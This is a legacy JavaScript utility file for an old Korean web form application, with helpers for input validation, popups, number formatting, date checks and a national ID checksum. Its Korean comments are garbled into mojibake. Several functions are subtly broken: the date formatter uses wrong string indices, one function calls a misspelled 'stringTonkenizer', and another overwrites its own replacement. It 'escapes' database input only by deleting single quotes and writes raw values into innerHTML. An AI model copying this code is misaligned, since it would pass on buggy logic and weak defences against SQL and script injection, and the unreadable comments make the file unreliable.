<!--
/*--------------------------------------------------------------------------------------------------
 function disabledEvent()
 Spec	: ÅØ½ºÆ®¹Ú½º¿¡¼­ ¿£ÅÍÅ°¸¦ ÃÆÀ»¶§ submit actionÀÌ ÀÏ¾î³ªÁö ¾Êµµ·Ï ÇÑ´Ù.
--------------------------------------------------------------------------------------------------*/
function disabledEvent() {
    if ( event.srcElement.type == 'text' && event.keyCode == 13 ) 
        event.keyCode = 9;
}

/*--------------------------------------------------------------------------------------------------
 ¸¶¿ì½ºÀÇ ¿òÁ÷ÀÓ¿¡ µû¶ó trÀÇ »öÀÌ ¹Ù²ñ.
--------------------------------------------------------------------------------------------------*/
function onMouse(state) {
	if (state=="over") {
		window.event.srcElement.parentElement.style.backgroundColor="#FEF3D7";
    	window.event.srcElement.style.cursor  = ""
	}
	else {
		window.event.srcElement.parentElement.style.backgroundColor="";
	}
}

function onMouseHand(state) {
	if (state=="over") {
		window.event.srcElement.parentElement.style.backgroundColor="#FDF1E2";
    	window.event.srcElement.style.cursor  = "hand"
	}
	else {
		window.event.srcElement.parentElement.style.backgroundColor="";
	}
}


/*--------------------------------------------------------------------------------------------------
 function goUrl()
 Spec	: target¿¡ µû¶ó È­¸éÀ» popup Windows¿¡ ¶ç¿ï°ÍÀÎÁö º»È­¸é¿¡ DisplayÇÒ°ÇÁö °áÁ¤
          1: popup 0:self
--------------------------------------------------------------------------------------------------*/
function goURL(url,width,height,target) {
	if (target=='1') {
		popupWindow(url,'',width,height,'fixstatus');
	} else if (target=='2') {
		popupWindow(url,'',width,height,'fix');
	} else if (target=='3') {
		popupWindow(url,'',width,height,'resize');
	} else {
		document.location.href = url;
	}
//	return true;
}

/*--------------------------------------------------------------------------------------------------
 function popupWindow()
 Spec	: Á¤Áß¾Ó¿¡ Popup Window
--------------------------------------------------------------------------------------------------*/
function popupWindow( fName, winName, theWidth, theHeight, etcParam ) {

    var objNewWin;
    var x = theWidth;
    var y = theHeight;
    
    var sx = window.screen.width  / 2 - x / 2;
    var sy = window.screen.height / 2 - y / 2 - 40;

    if (etcParam == "fixstatus") {
        EtcParam = "toolbar=0,location=0,directories=0,status=1,menubar=0,scrollbars=0,resizable=0";    
    } else if (etcParam == "fix") {
        EtcParam = "toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0";
    } else if (etcParam == "resize") {
        EtcParam = "toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=1";
    } else if (etcParam == "full") {
        EtcParam = "toolbar=1,location=1,directories=1,status=1,menubar=1,scrollbars=1,resizable=1";
    }

    if (sy < 0 ) {
        sy = 0;
    }
    
    var sz = ",top=" + sy + ",left=" + sx;
    
    objNewWin = window.open( fName, winName, EtcParam + ",width=" + x + ",height=" + y + sz);

} //popupWindow() end

function popupCalendar(element) {
	
	var str=element.toString();

	url = "./calendar/calendar.jsp?dd="+str+"&element="+element.name;

	goURL(url, '220', '200',1);
}

// yyyymmdd Çü½ÄÀ» yyyy-mm-dd Çü½ÄÀ¸·Î º¯È¯
function changeToDateFormat(str, dim) {
   if (str.length != 8) {
      return false;
   }
   return str.substring(1,4) + dim + str.substring(5,6) + dim + str.substring(7,8);

}

// ----------------------------------------
// @ ¼ýÀÚ·Î ±¸¼ºÀÌ µÇ¾î ÀÖ´ÂÁö Check
// @ ¼ýÀÚ°¡ ¾Æ´Ï¸é false ¸®ÅÏ.
// ----------------------------------------
function chkDigit( str ) {
    for (var i=0; i < str.length; i++) {
        var ch= str.charAt(i);

        if (ch < '0' || ch > '9') {
             return false;
        }
    }
    return true;
}

// ----------------------------------------
// @ ÀüÈ­¹øÈ£ Çü½ÄCheck
// @  ¼ýÀÚ¿Í '-' ±âÈ£¿Í °ýÈ£() ¸¸ Çã¿ëÇÔ.
// ----------------------------------------
function chkPhone( str ) {
    for (var i=0; i < str.length; i++) {
        var ch= str.charAt(i);

        if ( (ch >= '0' && ch <= '9')  || ch == '-' || ch == ')' || ch =='(' )
            continue;
        else
            return false;
    }
    return true;
}

// ----------------------------------------
// @ Á¡À» Æ÷ÇÔÇÑ ¼ýÀÚÀÎÁö Check
// @ ¼Ò¼ýÁ¡(.) °ú ¼ýÀÚ¸¸ Çã¿ë.
// ----------------------------------------
function chkFloat(str) {
    for (var i=0; i < str.length; i++)
    {
        var ch=str.charAt(i);

        if ((ch >= '0' && ch <= '9') || (ch=='.') ) {
            // nothing
        } else{
            return false;
        }
    }
    return true;
}

/* ----------------------------------------
 @ onKeyDown ÀÌº¥Æ®
 @ Á¡À» Æ÷ÇÔÇÑ ¼ýÀÚÀÎÁö Check
 @ ¼Ò¼ýÁ¡(.)(190, 110) °ú ¼ýÀÚ¸¸ Çã¿ë.
------------------------------------------*/
function floatInput() {
    var code = window.event.keyCode;
    if ((code == 190) || (code > 34 && code < 41) || (code > 47 && code < 58) || (code > 95 && code < 106)
        || code == 8 || code == 9 || code == 13 || code == 46 || code == 110 || code == 189 || code == 109) {
        window.event.returnValue = true;
        return;
    }
    window.event.returnValue = false;
}

/* ----------------------------------------
 @ onKeyDown ÀÌº¥Æ®
 @ Á¡À» Æ÷ÇÔÇÑ ¼ýÀÚÀÎÁö Check
 @ ¸¶ÀÌ³Ê½º (-), ¼ýÀÚ¸¸ Çã¿ë.
------------------------------------------*/
function minusMoneyInput() {
    var code = window.event.keyCode;
    if ((code > 34 && code < 41) || (code > 47 && code < 58) || (code > 95 && code < 106)
        || code == 8 || code == 9 || code == 13 || code == 46 || code == 189 || code == 109) {
        window.event.returnValue = true;
        return;
    }
    window.event.returnValue = false;
}

// ----------------------------------------------
// @ ÄÚµå °ªÀÎÁö °Ë»ç -->
// @ ¼ýÀÚ,¿µ¹®,'-' ·Î¸¸ ±¸¼ºµÈ ÄÚµå
// ------------------------------------------------
function chkCode(str) {
    var result=true;

    for (var i=0;i<str.length;i++) {

        var ch=str.charAt(i);

        if ((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')  || (ch >= '0' && ch<='9') || (ch=='-')) {
            continue;
        } else {
            result=false;
            break;
        }
    }// end of for

    return result;
}


// ----------------------------------------
// @ ¿µ¹®À¸·Î ±¸¼ºÀÌ µÇ¾î ÀÖ´ÂÁö Check
// ----------------------------------------
function chkAlpha( str ) {
    var result = true;
    for (var i=0; i < str.length;i++) {
        var ch=str.charAt(i);

        if ( (ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')  || ch == ' ' || ch=='.')
            continue;
        else {
            result = false;
            break;
        }
    }
    return result;
}

// ----------------------------------------
// @ ÀÌ¸ÞÀÏ Çü½ÄÃ¼Å©
// @ »ç¿ë¹ý : str - emailÁÖ¼Ò
// ----------------------------------------
function chkEmail(str) {
    if (str.indexOf('@') < 0)
        return false;

    if (!chkAlphaNumeric( str.substring(0,str.indexOf('@')) ) )
        return false;
    if (!chkAlphaNumeric( str.substring(str.indexOf('@') + 1) ) )
        return false;

    return true;
}

// ----------------------------------------
// @ ¿µ¹®+¼ýÀÚ·Î ±¸¼ºÀÌ µÇ¾î ÀÖ´ÂÁö Check
// ----------------------------------------
function chkAlphaNumeric( str ) {
    var result = true;
    for (var i=0; i < str.length;i++) {
        var ch=str.charAt(i);

        if ( (ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')  || (ch >= '0' && ch <= '9') || ch == ' ' || ch =='.' || ch== '@' || ch=='_')
            continue;
        else {
            result = false;
            break;
        }
    }
    return result;
}

// ----------------------------------------
// @ ÇÑ±ÛÀ¸·Î ±¸¼ºÀÌ µÇ¾î ÀÖ´ÂÁö Check
// ----------------------------------------
function chkHan( str ) {
    var result = true;
    for (var i=0; i < str.length;i++) {
        var ch=str.charCodeAt(i);

        if (ch > 255) continue;
        else {
            if (ch == 32) continue;

            result = false;
            break;
        }
    }

    return result;
}

// ----------------------------------------
// @ ÁÖ¹Î¹øÈ£¸¦ °Ë»çÇÑ´Ù.
// ----------------------------------------
function chkSocialNo(str) {
    if (!chkDigit(str)) return false;
    
    num = 0;
    num7 = 0;
    num13 = 0;
    totalnum = 0;
    chknum = 0;

    num7 = parseInt(str.substring(6,7),10) ;

    num  = parseInt(str.substring(0,1),10)   * 2 +
           parseInt(str.substring(1,2),10)   * 3 +
           parseInt(str.substring(2,3),10)   * 4 +
           parseInt(str.substring(3,4),10)   * 5 +
           parseInt(str.substring(4,5),10)   * 6 +
           parseInt(str.substring(5,6),10)   * 7 +
           parseInt(str.substring(6,7),10)   * 8 +
           parseInt(str.substring(7,8),10)   * 9 +
           parseInt(str.substring(8,9),10)   * 2 +
           parseInt(str.substring(9,10),10)  * 3 +
           parseInt(str.substring(10,11),10) * 4 +
           parseInt(str.substring(11,12),10) * 5;

    num13 = parseInt(str.substring(12,13),10);

    totalnum = num % 11;
    chknum   = 11 - totalnum;

    if (chknum >= 10 ) chknum = chknum - 10;

    if ((num13 == chknum) && ( num7 == 1 || num7 == 2 ))
        return true;
    else {
        alert("ÁÖ¹Îµî·Ï¹øÈ£¸¦ ¿Ã¹Ù¸£°Ô ÀÔ·ÂÇÏ½Ê½Ã¿ä");
        return false;
    }
}

// ----------------------------------------
// ----------------------------------------
function newValFocus(thisElem, thisElemName, altMesg) {
    if (altMesg != "" && altMesg.length > 0)
        alert(altMesg);
    if (thisElemName != "") {
        thisElem.value = "";
        thisElemName.value = "";
        thisElemName.focus();
    } else {
        thisElem.value = "";
        thisElem.focus();
    }
}

// -----------------------------------------------
// @ ¼³·ºÆ® ¹Ú½º¸¦ value °ª¿¡ µû¶ó¼­ ¼±ÅÃµÇ°Ô ÇØ ÁØ´Ù.
// @ »ç¿ë¹ý : thiselement - ¼¿·ºÆ®¹Ú½º °´Ã¼ÀÌ¸§
//            thatvalue - ¼±ÅÃÇÒ value °ª
// @ »ç¿ë¿¹ : selectInit(document.myform.choice, '001');
// -----------------------------------------------
function selectInit(thiselement, thatvalue) {
    for (var i = 0 ; i<thiselement.length ; i++) {
        if (thiselement[i].value == thatvalue) {
            thiselement[i].selected = 1;
            break;
        }
    }
}

// ----------------------------------------
// @ ¼³·ºÆ® ¹Ú½º¿¡¼­ ÃÊ±â¿¡ ¼³Á¤ °ªÀ¸·Î º¯È¯½ÃÄÑÁØ´Ù.
// ----------------------------------------
function selectsInit(thiselement, thatvalue) {
    for (var i = 0 ; i<thiselement.length ; i++) {
        if (thiselement.options[i].value == thatvalue) {
            thiselement.options[i].selected = 1;
            break;
        }
    }
}

// -----------------------------------------------------
// @ ¹®ÀÚ¿­À» ±¸ºÐÀÚ·Î ³ª´«´Ù.
// @ »ç¿ë¹ý : originString- ¿ø ¹®ÀÚ¿­, delimeter - ±¸ºÐÀÚ
// ----------------------------------------------------
function stringTokenizer(originString, delimeter) {
    var result = new Array();
    var i = 0;
    
    while (true) {
        if (originString.indexOf(delimeter) < 0) {
            result[i] = trim(originString);
            break;
        } else {
            result[i] = originString.substring(0,originString.indexOf(delimeter));
            originString = originString.substring(originString.indexOf(delimeter) + delimeter.length);
        }
        //alert("\"" + trim(result[i]) + "\"");
        i++;
    }

    return result;
}

// ----------------------------------------
// @ Ã¼Å©¹Ú½º¿¡¼­ ¼³Á¤µÈ °ªÀ» Ã¼Å©ÇØÁØ´Ù.
// ----------------------------------------
function chkCheckBox(ele, chkVal, valDelimeter, onOff)
{
    if (valDelimeter == "") valDelimeter = ",";

    if (chkVal != "") {
        var values = stringTonkenizer(chkVal, valDelimeter);

        for (var i= 0;i < values.length; i++) {
            for (var j = 0;j<ele.length;j++) {
                if (values[i] == ele[j].value) ele[j].checked = onOff;
            }
        }
    }
}

// ----------------------------------------
// @ °ø¹é Á¦°Å
// ----------------------------------------
function trim(vals) {
    return replace	(vals,' ','');
}

// -------------------------------------------------
// @ ¹®ÀÚ¸¦ ´ëÃ¼ÇÑ´Ù.
// @ »ç¿ë¹ý : origin-¿ø¹®ÀÚ¿­, search-¹Ù²Ü¹®ÀÚ, replace-´ëÃ¼ÇÒ¹®ÀÚ
// ---------------------------------------------------
function replace(origin, search, replace) {
    var result = '';
    var i = 0;
    
    do {
        i = origin.indexOf(search);

        if (i != -1) {
            result += origin.substring(0, i);
            result += replace;
            origin = origin.substring(i + search.length);
        } else {
            result += origin;
            break;
        }
    }
    while (i != -1);

    return result;
}

// ----------------------------------------
// @ ¹®ÀÚ¿­ ±æÀÌ Á¦ÇÑ
// @ »ç¿ë¹ý : str-¹®ÀÚ¿­, maxlen-ÃÖ´ë±æÀÌ.
// @ ÇÑ±ÛÀº 2,  ¿µ¹®Àº 1¹®ÀÚ·Î °è»ê.
// ----------------------------------------
function chkLength(str, maxlen, opt) {
    var result = false;
    var totalLength = 0;

    if (opt.toLowerCase() == 'float') {
        totalLength = str.indexOf(".");
        if (totalLength == -1)	totalLength = str.length;
    } else {
        for (var i=0; i < str.length;i++) {
            var ch=str.charCodeAt(i);

            if (ch > 255) {
                totalLength += 2;
            } else {
                totalLength += 1;
            }
        }
    }

    if (totalLength <= maxlen) result = true;

    return result;
}

function getLength(str) {
    return (str.length+(escape(str)+"%u").match(/%u/g).length-1);
}

// ----------------------------------------
// @ µ¥ÀÌÅ¸ º£ÀÌ½º¿¡ »ç¿ëµÇ´Â Æ¯¼ö ¹®ÀÚ¸¦ ÀÌ½ºÄÉÀÙ½ÃÅ´
// ----------------------------------------
function escSpChar(str) {
    return replace(str, '\'','');
}

// ----------------------------------------
// @ ¹®ÀÚ¿­¿¡ ÄÞ¸¶Âï±â
// @»ç¿ë¹ý : org - ¹®ÀÚ¿­
//			       pos - ¹®ÀÚ¿­ ¸îÀÚ¸®¸¶´Ù ÂïÀ» °ÍÀÎ°¡(¼ýÀÚ)
// ----------------------------------------
function setComma(org, pos)
{
    var flag = 1;
    var result = ''; //µÇ³Ñ±æ ¹®ÀÚ¿­
    var pre = '';
    var rear = '';

    var len = 0; //¹®ÀÚ¿­ ±æÀÌ
    var rpos = 0; //¹®ÀÚ¿­ µÚ·ÎºÎÅÍÀÇ À§Ä¡ °ª



    if (org.indexOf(".") != -1) {
        pre = '' + org.substring(0,org.indexOf("."));
        rear = '' + org.substring(org.indexOf("."));
    } else
        pre = org;

    if (pre < 0) {
        flag = -1;
        pre *= flag;
        pre = '' + pre;
    }

    len = pre.length;

    for (var i = len-1 ; i >=0 ; i--) {
        rpos++;
        result = pre.charAt(i) + result;

        if ( (rpos % pos) == 0 && i !=0) result = "," + result;
    }

    result += rear;

    if (flag < 0)
        result = '-' + result;

    return result;
}

// ----------------------------------------
// @ ¼ýÀÚÅ¸ÀÔÀ» 3ÀÚ¸® ¸¶´Ù ÄÞ¸¶ Âï¾îÁÖ±â
// @ »ç¿ë¹ý : org - ¼ýÀÚ·Î¸¸µÈ ½ºÆ®¸µ
// ----------------------------------------
function setMoneyType(org) {
    return setComma(org, 3);
}

//-----------------------------------------------
//-----------------------------------------------
function stripMoneyType(ele) {
    var dftVal = ele.value;

    dftVal = replace(dftVal,' ','');
    dftVal = replace(dftVal,',','');
    dftVal = replace(dftVal,'/','');

    ele.value = dftVal;
}

//-----------------------------------------------
//-----------------------------------------------
function quoteMoneyType(ele) {
    var dftVal = ele.value;

    stripMoneyType(ele);
    ele.value = setMoneyType(ele.value);
}


//-------------------------------------------------
/**
 *±¸ºÐÀÚ°¡ ÀÖ´Â ¹®ÀÚ¿­·Î ÄÞº¸ ¹Ú½º¸¦ ¸¸µç´Ù.
 * @param str ±¸ºÐÀÚ·Î ±¸¼ºµÈ ¹®ÀÚ¿­ °ª
 * @param objname ÄÞº¸ °´Ã¼ ÀÌ¸§
 */
//-------------------------------------------------
function makeComboByString(str, objname) {
    var result = "";
    var chkVals = stringTokenizer(str, ';');

    if (chkVals.length > 0) {
        for (var i=0;i<chkVals.length;i++) {
            result += "<OPTION VALUE=\""+chkVals[i]+"\">"+chkVals[i]+"</OPTION>";
        }
    }

    if (result != "") {
        result = "<SELECT NAME=\""+objname + "\">\n" + result + "</SELECT>";
    }

    return result;
}

// ----------------------------------------
// @ ¸ðµç ÆûÀÇ ¿¤¸®¸ÕÆ®¸¦ ¸ø ¾²°Ô ÇÑ´Ù.(disable ½ÃÅ´)
// ----------------------------------------
function allFormElementsDisabled(docs) {
    var len=docs.forms.length;
    for (var i=0;i<len;i++) {
        formElementsDisabled(docs.forms[i])
    }
}

// ----------------------------------------
// @ Æ¯Á¤ ÆûÀÇ ¸ðµç ¿¤¸®¸àÆ®¸¦ ¸ø ¾²°Ô ÇÑ´Ù.
// ----------------------------------------
function formElementsDisabled(frm) {
    var len=frm.elements.length;
    var type;
    for (var i=0;i<len;i++) {
        type = frm.elements[i].type.toLowerCase();
        if (type=='text' || type=='hidden' || type=='textarea' || type=='password') {
            frm.elements[i].style.border="0";
            frm.elements[i].style.background="#EFEFEF";
            frm.elements[i].style.color="#000000";
        }

        frm.elements[i].disabled = true;
    }
}

// -------------------------------------------------------------------
// @ Æû°´Ã¼¿¡ °ªµéÀ» ¼ÂÆÃÇØ ÁØ´Ù.
// @ ÀÎÀÚ·Î Æû°´Ã¼¿Í, Æû °´Ã¼ÀÇ ¿¤¸®¸ÕÆ® ÀÌ¸§°ú °ªÀ¸·Î ±¸¼ºµÈ 2Áß ¹è¿­À» ³Ñ±â¸é µÈ´Ù.
// ----------------------------------------------------------------------
function setFormElementsValues(frm,values) {
    frm.reset();

    var len=frm.elements.length;

    var type = '';
    var name = '';

    for (var i=0;i<len;i++) {
        type = frm.elements[i].type.toLowerCase();
        name = frm.elements[i].name;

        if (type=='text' || type=='hidden' || type=='textarea' || type=='password') {
            for (var j=0;j<values.length;j++) {
                if (values[j][0] == name) {
                    frm.elements[i].value = values[j][1];
                    break;
                }
            }
        } else if (type=='radio') {
            for (var j=0;j<values.length;j++) {
                if (values[j][0] == name) {
                    if (frm.elements[i].value == values[j][1]) {
                        frm.elements[i].checked = true;
                        break;
                    }
                }
            }
        } else if (type=='checkbox') {
            for (var j=0;j<values.length;j++) {
                if (values[j][0] == name) {
                    var chkVals = stringTokenizer(values[j][1], ',');
                    for (var k=0;k<chkVals.length;k++) {
                        if (frm.elements[i].value == chkVals[k]) {
                            frm.elements[i].checked = true;
                            break;
                        }
                    }
                    break;
                }
            }
        } else if (type.substring(0,7) == 'select-') {
            for (var j=0;j<values.length;j++) {
                if (values[j][0] == name) {
                    var chkVals = stringTokenizer(values[j][1], ',');
                    for (var k=0;k<chkVals.length;k++) {
                        for (var l=0;l<frm.elements[i].options.length;l++) {
                            if (frm.elements[i].options[l].value == chkVals[k]) {
                                frm.elements[i].options[l].selected = true;
                                break;
                            }
                        }
                    }
                    break;
                }
            }
        }
    }
}

// ----------------------------------------
// @ ÇöÀç divÅÂ±×¿¡ °ªÀ» ³Ö¾î ÁØ´Ù.
// ----------------------------------------
function setAllDivValues(values) {
    var len=document.all.length;
    var idname = '';
    var vals = '';
    for (var i=0;i<len;i++) {
        idname = document.all[i].id;
        if (idname == '')
            continue;

        for (var j=0;j<values.length;j++) {
            if (values[j][0] == idname) {
                vals = replace(values[j][1],"\r\n","<BR>");
                vals = replace(values[j][1],"\n","<BR>");
                document.all[i].innerHTML = '';
                document.all[i].innerHTML = vals;
                break;
            }
        }
    }
}


// ----------------------------------------
// @  '01', '02' --> Á¤¼ö1, Á¤¼ö2  ·Î ¹Ù²Ù¾îÁØ´Ù
// ----------------------------------------
function chgInt(str) {
    if (chkDigit(str)) {
        if (str == '01') return 1;
        else if (str == '02') return 2;
        else if (str == '03') return 3;
        else if (str == '04') return 4;
        else if (str == '05') return 5;
        else if (str == '06') return 6;
        else if (str == '07') return 7;
        else if (str == '08') return 8;
        else if (str == '09') return 9;
        else return parseInt(str);
    } else
        return -1;
}



// ----------------------------------------
// @ ³âµµ,¿ù, ÀÏÀÚÀÇ À¯È¿¼º °Ë»ç
// @ »ç¿ë¹ý :  yy - 4ÀÚ¸®³âµµ,  mm - ¿ù , dd - ÀÏÀÚ
// ----------------------------------------
function isValidDate(yy,mm,dd) {
    var est_Y = chgInt(yy);
    var est_M = chgInt(mm);
    var est_D = chgInt(dd);
    var sDate = new Date(est_Y, (est_M-1), est_D);

    if ( est_M - 1 != sDate.getMonth() )
        return false;

    return true;
}

// ----------------------------------------
// @ ³âµµ, ¿ùÀ» °¡Áö°í ÀÏÀÚÀÇ ¸¶Áö¸· ³¯ ±¸ÇÏ±â
// @ »ç¿ë¹ý : year-³âµµ,  mon - ¿ù
// ----------------------------------------
function getDaysOfMonth(year, mon) {
    switch (mon) {
        case 1: case 3: case 5: case 7: case 8: case 10: case 12:
            return 31;
        case 2:
            return (isLeapYear(year) + 28);
        default:
            return 30;
    }
}

// -----------------------------------------------
// @ À±´ÞÀÌ ÀÖ´Â ³âµµ ÀÎÁö Ã¼Å©
// @ »ç¿ë¹ý : year - ³âµµ
// @ °á  °ú  : À±´ÞÀÌ ÀÖÀ¸¸é 1À» ¸®ÅÏ, À±´ÞÀÌ ¾Æ´Ï¸é 0 À» ¸®ÅÏ
// -------------------------------------------------
function isLeapYear(year) {
    if (year % 4 != 0)
        return 0;
    if (year % 100 != 0)
        return 1;
    if (year % 400 != 0)
        return 0;

    return 1;
}


//-----------------------------------------------
// @ ¼ýÀÚ½ºÆ®¸µ 10ÀÚ¸® ³¯Â¥ À¯È¿¼º Ã¼Å©
// @ »ç¿ë¹ý : adate - 10ÀÚ¸® ¼ýÀÚ ½ºÆ®¸µ
//-----------------------------------------------
function isDate(adate)
{
    var vYear = "";
    var vMonth = "";
    var vDay = "";

    vYear = parseInt(adate.substring(0,4)).toString();
    vMonth = (changeInt(adate.substring(5,7)) - 1).toString();
    vDay = changeInt(adate.substring(8,10)).toString();

    //µî·ÏÇÑ ³¯Â¥·Î ³¯Â¥ °´Ã¼¸¦ »ý¼ºÇÑ´Ù..
    var vCheckDate = new Date(vYear, vMonth, vDay);
    if (vMonth == vCheckDate.getMonth())
        return true;
    else
        return false;
}

function changeInt(i) {
    if (i=='01')		i='1' ;
    if (i=='02')		i='2' ;
    if (i=='03')		i='3' ;
    if (i=='04')		i='4' ;
    if (i=='05')		i='5' ;
    if (i=='06')		i='6' ;
    if (i=='07')		i='7' ;
    if (i=='08')		i='8' ;
    if (i=='09')		i='9' ;

    return parseInt(i);
}


//-------------------------------------------------
//@ ¼ýÀÚ Text¿¡ ',' »©±â (¼ýÀÚ, '-',  '.'  ÀÌ¿ÜÀÇ °ÍÀº ¸ðµÎ Á¦°Å)
//-------------------------------------------------
function delComma(sData) {
    var rtnData = "" ;
    for (var i=0; i < sData.length ; i++) {
        var digit = sData.charAt(i);
        if ((digit >= '0' && digit <= '9') || digit == '-' || digit == '.')
            rtnData = rtnData + digit;
    }
    return (rtnData.length == 0 ? "0" : rtnData) ;
}
//-------------------------------------------------
// @ ¼ýÀÚ Text¿¡ ',' Áý¾î³Ö±â(3ÀÚ¸®¸¶´Ù ÄÞ¸¶Âï±â)
//-------------------------------------------------
function insComma(sData) {
    var s1 = "";
    var strNaN  = "" ;
    var StrInt  = "";
    var StrDec  = "";
    var sign    = "" ;
    var rtnData = "" ;

    // ºÎÈ£, ¼Ò¼ýÁ¡,  ¼ýÀÚ ÀÌ¿Ü¿¡ /, (, ), - °¡ Æ÷ÇÔµÈ °æ¿ì Á¦°ÅÇÑ´Ù.
    strNaN = unObjForm('1', sData) ;

    var SignF = strNaN.indexOf("-"); //ºÎÈ£
    var intF  = strNaN.indexOf("."); // ¼Ò¼ýÁ¡ÀÌÇÏ
    if (SignF != -1) {
        if (intF != -1) {
            sign   = strNaN.substring(0,SignF+1) ;
            StrInt = strNaN.substring(SignF+1,intF) ;
            StrDec = strNaN.substring(intF) ;
        } else {
            sign   = strNaN.substring(0,SignF+1) ;
            StrInt = strNaN.substring(SignF+1) ;
            StrDec = "";
        }
    } else {
        if (intF != -1) {
            StrInt = strNaN.substring(0,intF) ;
            StrDec = strNaN.substring(intF) ;
        } else{
            StrInt = strNaN;
            StrDec = "";
        }
    }

    for ( var i=0; i < StrInt.length ; i++) {
         var digit = StrInt.charAt(i);
         if ( (i==(StrInt.length -3)  && StrInt.length !=3)  ||
             (i==(StrInt.length -6)  && StrInt.length !=6)  ||
             (i==(StrInt.length -9)  && StrInt.length !=9)  ||
             (i==(StrInt.length -12) && StrInt.length !=12) ||
             (i==(StrInt.length -15) && StrInt.length !=15) ||
             (i==(StrInt.length -18) && StrInt.length !=18) ||
             (i==(StrInt.length -21) && StrInt.length !=21) ||
             (i==(StrInt.length -24) && StrInt.length !=24) ||
             (i==(StrInt.length -27) && StrInt.length !=27)   ) {
            s1 = s1 + ',' + digit ;
        } else {
            s1 = s1 + digit ;
        } //end if
    } //end for

    rtnData = sign + s1 + StrDec ;

    return (rtnData) ;
}

//-------------------------------------------------
// @ Çü½ÄÀ» »©ÁØ´Ù.
// @  »ç¿ë¹ý : type '0' : ¼ýÀÚ¸¸ ³²±â°í ¹«Á¶°Ç »©ÁØ´Ù.
//					  type '1' : ºÎÈ£, ¼ýÀÚ, ¼Ò¼ýÁ¡À» ³²±â°í »©ÁØ´Ù.
//-------------------------------------------------
function unObjForm(type, strData) {
    var sData  = String(strData) ;
    var rtnData = "" ;
    if (type == '0') {
        for (var i= 0 ; i < sData.length ; i++) {
            var digit = sData.charAt(i) ;

            if ( digit >= "0" && digit <="9" )
            {
                rtnData = rtnData + digit ;
            }
        }
    } else if (type == '1') {
        var chkVal = sData.substring(0,1); //ºÎÈ£
        if (chkVal == '-') {
            sign = chkVal;
        } else{
            sign = "" ;
        }
        for (var i=0; i < sData.length; i++) {
            var digit = sData.charAt(i);
            if ((digit >= '0' && digit <= '9') ||digit == '.')
                rtnData = rtnData + digit ;
        } //end for
        rtnData = sign + rtnData ;
    }// end if
    return (rtnData) ;
}

//------------------------------------------------------------
// @ ¼Ò¼ö ÀÚ¸´¼ö Ã¼Å© ¸ðµâ : Á¤¼öÀÇ ¹üÀ§¿Í ¼Ò¼öÁ¡ ¾Æ·¡ÀÚ¸®¼ö¸¦ Á¦ÇÑ(¹üÀ§º¸´Ù Å«°ÍÀ» Á¦ÇÑ)
// @ »ç¿ë¹ý : number - ¼ýÀÚ ½ºÆ®¸µ ,  jungsu-¼Ò¼öÁ¡ ¾Õ ÀÚ¸®,  sosu- ¼Ò¼öÁ¡ µÚ ÀÚ¸®.
//----------------------------------------------------------
function chPoint(number,jungsu,sosu) {
    var pre_num = number.substring(0, number.indexOf('.'));
    var post_num = number.substring(number.indexOf('.')+1);

    if (pre_num) {
        if (pre_num.length > jungsu || post_num.length > sosu) {
            alert("¼Ò¼öÁ¡ ÀÌ»ó "+jungsu+"ÀÚ¸´ ¼ö±îÁö\n ¼Ò¼öÁ¡ ÀÌÇÏ "+sosu+"ÀÚ¸´ ¼ö±îÁö ÀÔ´Ï´Ù.");
            return -1;
        }
    } else {
        if (number.length > jungsu) {
            alert("¼Ò¼öÁ¡ ÀÌ»ó "+jungsu+"ÀÚ¸´ ¼ö±îÁö ÀÔ´Ï´Ù.");
            return -1;
        }
    }

    return 1;
}

//------------------------------------------------------------
// @ ¼Ò¼ö ÀÚ¸´¼ö Ã¼Å© ¸ðµâ : Á¤¼öÀÇ ¹üÀ§¿Í ¼Ò¼öÁ¡ ¾Æ·¡ÀÚ¸®¼ö¸¦ Á¦ÇÑ(¹üÀ§º¸´Ù Å«°ÍÀ» Á¦ÇÑ)
// @ »ç¿ë¹ý : number - ¼ýÀÚ ½ºÆ®¸µ ,  jungsu-¼Ò¼öÁ¡ ¾Õ ÀÚ¸®,  sosu- ¼Ò¼öÁ¡ µÚ ÀÚ¸®., msg - ÇÊµå¸í
//----------------------------------------------------------
function chPointMsg(number,jungsu,sosu,msg)
{
    var pre_num = number.substring(0, number.indexOf('.'));
    var post_num = number.substring(number.indexOf('.')+1);

    if (pre_num) {
        if (pre_num.length > jungsu || post_num.length > sosu) {
            alert(msg + " ¼Ò¼öÁ¡ ÀÌ»ó "+jungsu+"ÀÚ¸´ ¼ö±îÁö\n ¼Ò¼öÁ¡ ÀÌÇÏ "+sosu+"ÀÚ¸´ ¼ö±îÁö ÀÔ´Ï´Ù.");
            return -1;
        }
    } else {
        if (number.length > jungsu) {
            alert(" ¼Ò¼öÁ¡ ÀÌ»ó "+jungsu+"ÀÚ¸´ ¼ö±îÁö ÀÔ´Ï´Ù.");
            return -1;
        }
    }

    return 1;
}

// -------------------------------------------------------------------
// @ Æû°´Ã¼¿¡ ÀÖ´Â °ªµé Áß¿¡ ¿À¶óÅ¬¿¡¼­ ÀÎ½ÄÇÏ´Â Æ¯¼ö ¹®ÀÚÀÎ ' ¸¦ ¾ø¾ÖÁØ´Ù.
// @ ÀÎÀÚ·Î Æû°´Ã¼¸¦ ³Ñ±â¸é µÈ´Ù.
// ----------------------------------------------------------------------
function escSpOraChar(frm) {
    var len=frm.elements.length;

    var type = '';
    var name = '';

    for (var i=0;i<len;i++) {
        type = frm.elements[i].type.toLowerCase();

        if (type=='text' || type=='hidden' || type=='textarea' || type=='password') {
            frm.elements[i].value = escSpChar(frm.elements[i].value);
        }
    }
}

// -------------------------------------------------------------------
// @ À©µµ¿ì °´Ã¼ Open
// @ »ç¿ë¹ý : url - ÁÖ¼Ò ½ºÆ®¸µ ,
//			  win - Window°´Ã¼¸í ½ºÆ®¸µ,
//			  style - ¼Ó¼º ½ºÆ®¸µ ("width=500,height=500,scrollbar=yes").
// ----------------------------------------------------------------------
function goWindow(url,win,width,height) {
    var xPos = 1024/2 - width/2;
    var yPos = 768/2 - height/2;

    var style = "width="+width+",height="+height+",left="+xPos+",top="+yPos+",scrollbars=yes,resizable=no";

    var winObj = window.open(url,win,style);
    winObj.focus();
}

// -------------------------------------------------------------------
// @ ±â°£ À¯È¿¼º Ã¼Å©
// @ »ç¿ë¹ý : date1 - ³¯Â¥
